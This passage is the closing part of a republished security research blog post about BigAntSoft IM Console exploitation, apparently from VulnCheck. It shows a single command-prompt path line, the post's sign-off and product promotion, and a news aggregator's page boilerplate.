    C:\Program Files (x86)\BigAntSoft\IM Console\im_webserver\htdocs\data\387360F0-EECD-622B-5B90-C37F2BBD45B3\pan\99C8911A-DCB3-E5F2-4298-1E3567AA0DAD\2025-01-09>^C
    

    Sometimes an incorrectly categorized CVSS vector is all it takes to motivate you to find something interesting.

    The VulnCheck Initial Access team is always on the lookout for new exploitation in the wild. For more research like this, see our blogs, Four-Faith Industrial Router CVE-2024-12856 Exploited in the Wild, PaperCut Exploitation, ProjectSend CVE-2024-11680 Exploited in the Wild, Fileless Remote Code Execution on Juniper Firewalls
    , and Does Confluence Dream of Shells?

    Sign up to our website today to get free access to our VulnCheck KEV and request a trial of our Initial Access Intelligence and Exploit & Vulnerability Intelligence products.



    Source link

    Share. Facebook Twitter Pinterest LinkedIn Tumblr Email
    Previous ArticleZDI-26-175: Apple macOS ImageIO SGI File Parsing Out-Of-Bounds Read Information Disclosure Vulnerability
    Next Article SSA-241605 V1.0: Out of Bounds Read in PS/IGES Parasolid Translator Component Before V29.0.258
    admin
    • Website

    Related Posts

    News

    FAA Scraps Civil and Criminal Penalties for Flying Drones Near ICE Vehicles

    April 17, 2026
    News

    Strengthening cyber resilience across the NHS with collaboration and innovation

    April 17, 2026
    News

    The Destroyed Remnants of a Lost World Are Falling to Earth, Scientists Discover

    April 17, 2026
    Add A Comment

    Comments are closed.

    Demo
    Top Posts

    Global Takedown of Massive IoT Botnets Halts Record-Breaking Cyberattacks

    March 20, 202619 Views

    The Grandparent Scam: How AI Voice Technology Makes This Old Con Deadlier Than Ever

    March 18, 202619 Views

    Catchy & Intriguing

    March 17, 202619 Views
    Stay In Touch
    • Facebook
    • YouTube
    • TikTok
    • WhatsApp
    • Twitter
    • Instagram
    Latest Reviews
    85
    Featured

    Pico 4 Review: Should You Actually Buy One Instead Of Quest 2?

    January 15, 2021 Featured
    8.1
    Uncategorized

    A Review of the Venus Optics Argus 18mm f/0.95 MFT APO Lens

    January 15, 2021 Uncategorized
    8.9
    Editor's Picks

    DJI Avata Review: Immersive FPV Flying For Drone Enthusiasts

    January 15, 2021 Editor's Picks

    Subscribe to Updates

    Get the latest tech news from FooBar about tech, design and biz.

    Demo
    Most Popular

    Global Takedown of Massive IoT Botnets Halts Record-Breaking Cyberattacks

    March 20, 202619 Views

    The Grandparent Scam: How AI Voice Technology Makes This Old Con Deadlier Than Ever

    March 18, 202619 Views

    Catchy & Intriguing

    March 17, 202619 Views
    Our Picks

    Horner Automation Cscape and XL4, XL7 PLC

    April 17, 2026

    FAA Scraps Civil and Criminal Penalties for Flying Drones Near ICE Vehicles

    April 17, 2026

    SSA-628843 V1.0: Out of Bound Read Vulnerability in TPM 2.0

    April 17, 2026

    Subscribe to Updates

    Get the latest creative news from FooBar about art, design and business.

    Facebook X (Twitter) Instagram Pinterest
    • Home
    • Technology
    • Gaming
    • Phones
    • Buy Now
    © 2026 ThemeSphere. Designed by ThemeSphere.

    Type above and press Enter to search. Press Esc to cancel.